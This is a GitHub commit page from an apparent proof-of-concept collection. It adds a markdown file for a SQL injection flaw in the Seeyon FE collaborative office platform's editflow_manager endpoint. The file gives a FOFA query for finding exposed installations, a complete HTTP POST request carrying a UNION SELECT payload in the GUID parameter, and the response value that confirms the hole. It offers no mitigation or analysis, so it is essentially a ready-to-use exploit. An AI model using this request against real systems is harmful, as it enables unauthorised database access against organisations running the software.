admin/POC00
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Create 致远互联FE协作办公平台editflow_manager存在sql注入漏洞.md

Browse Source
This commit is contained in:
wy876 2023-12-23 18:19:07 +08:00 committed by GitHub
parent de2d0d47bf
commit 742b150817
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 22 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

22
致远互联FE协作办公平台editflow_manager存在sql注入漏洞.md Normal file
View File

@ -0,0 +1,22 @@
## 致远互联FE协作办公平台editflow_manager存在sql注入漏洞
## fofa
```
title="FE协作办公平台" || body="li_plugins_download"
```
## poc
```
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
option=2&GUID=-1'+union+select+111*222--+
```
响应结果中包含24642证明存在漏洞